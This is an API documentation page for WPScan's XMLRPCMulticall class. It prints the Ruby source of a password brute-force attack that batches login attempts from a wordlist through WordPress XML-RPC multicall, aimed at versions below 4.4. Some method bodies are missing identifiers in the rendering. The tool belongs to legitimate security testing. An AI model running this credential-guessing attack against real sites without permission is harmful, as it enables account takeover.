Class: WPScan::Finders::Passwords::XMLRPCMulticall
- Inherits:
-
CMSScanner::Finders::Finder
- Object
- CMSScanner::Finders::Finder
- WPScan::Finders::Passwords::XMLRPCMulticall
- Defined in:
- app/finders/passwords/xml_rpc_multicall.rb
Overview
Password attack against the XMLRPC interface with the multicall method WP < 4.4 is vulnerable to such attack
Instance Method Summary collapse
-
#attack(users, wordlist_path, opts = {}) {|Model::User| ... } ⇒ Object
TODO: Make rubocop happy about metrics etc.
- #check_and_output_errors(res) ⇒ Object
- #do_multi_call(users, passwords) ⇒ Typhoeus::Response
-
#passwords_from_wordlist(file, passwords_size) ⇒ Array<String>
The passwords from the last checked position in the file until there are passwords_size passwords retrieved.
-
#passwords_size(max_passwords, users_size) ⇒ Object
rubocop:enable all.
Instance Method Details
#attack(users, wordlist_path, opts = {}) {|Model::User| ... } ⇒ Object
TODO: Make rubocop happy about metrics etc
rubocop:disable all
58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 |
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 58 def attack(users, wordlist_path, opts = {}) checked_passwords = 0 wordlist = File.open(wordlist_path) wordlist_size = wordlist.count max_passwords = opts[:multicall_max_passwords] current_passwords_size = passwords_size(max_passwords, users.size) (total: (wordlist_size / current_passwords_size.round(1)).ceil, show_progression: opts[:show_progression]) wordlist.sysseek(0) # reset the descriptor to the beginning of the file as it changed with #count loop do current_users = users.select { |user| user.password.nil? } current_passwords = passwords_from_wordlist(wordlist, current_passwords_size) checked_passwords += current_passwords_size break if current_users.empty? || current_passwords.nil? || current_passwords.empty? res = do_multi_call(current_users, current_passwords) .increment check_and_output_errors(res) # Avoid to parse the response and iterate over all the structs in the document # if there isn't any tag matching a valid combination next unless res.body =~ /isAdmin/ # maybe a better one ? Nokogiri::XML(res.body).xpath('//struct').each_with_index do |struct, index| next if struct.text =~ /faultCode/ user = current_users[index / current_passwords.size] user.password = current_passwords[index % current_passwords.size] yield user # Updates the current_passwords_size and progress_bar#total # given that less requests will be done due to a valid combination found. current_passwords_size = passwords_size(max_passwords, current_users.size - 1) if current_passwords_size == 0 .log('All Found') # remove ? .stop break end begin .total = .progress + ((wordlist_size - checked_passwords) / current_passwords_size.round(1)).ceil rescue ProgressBar::InvalidProgressError end end end # Maybe a progress_bar.stop ? end |
#check_and_output_errors(res) ⇒ Object
123 124 125 126 127 128 129 130 131 132 133 |
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 123 def check_and_output_errors(res) .log("Incorrect response: #{res.code} / #{res.}") unless res.code == 200 if /parse error. not well formed/i.match?(res.body) .log('Parsing error, might be caused by a too high --max-passwords value (such as >= 2k)') end return unless /requested method [^ ]+ does not exist/i.match?(res.body) .log('The requested method is not supported') end |
#do_multi_call(users, passwords) ⇒ Typhoeus::Response
13 14 15 16 17 18 19 20 21 22 23 |
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 13 def do_multi_call(users, passwords) methods = [] users.each do |user| passwords.each do |password| methods << ['wp.getUsersBlogs', user.username, password] end end target.multi_call(methods, cache_ttl: 0).run end |
#passwords_from_wordlist(file, passwords_size) ⇒ Array<String>
Returns The passwords from the last checked position in the file until there are passwords_size passwords retrieved.
29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 29 def passwords_from_wordlist(file, passwords_size) pwds = [] added_pwds = 0 return pwds if passwords_size.zero? # Make sure that the main code does not call #sysseek or #count etc # otherwise the file descriptor will be set to somwehere else file.each_line(chomp: true) do |line| pwds << line added_pwds += 1 break if added_pwds == passwords_size end pwds end |
#passwords_size(max_passwords, users_size) ⇒ Object
rubocop:enable all
115 116 117 118 119 120 |
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 115 def passwords_size(max_passwords, users_size) return 1 if max_passwords < users_size return 0 if users_size.zero? max_passwords / users_size end |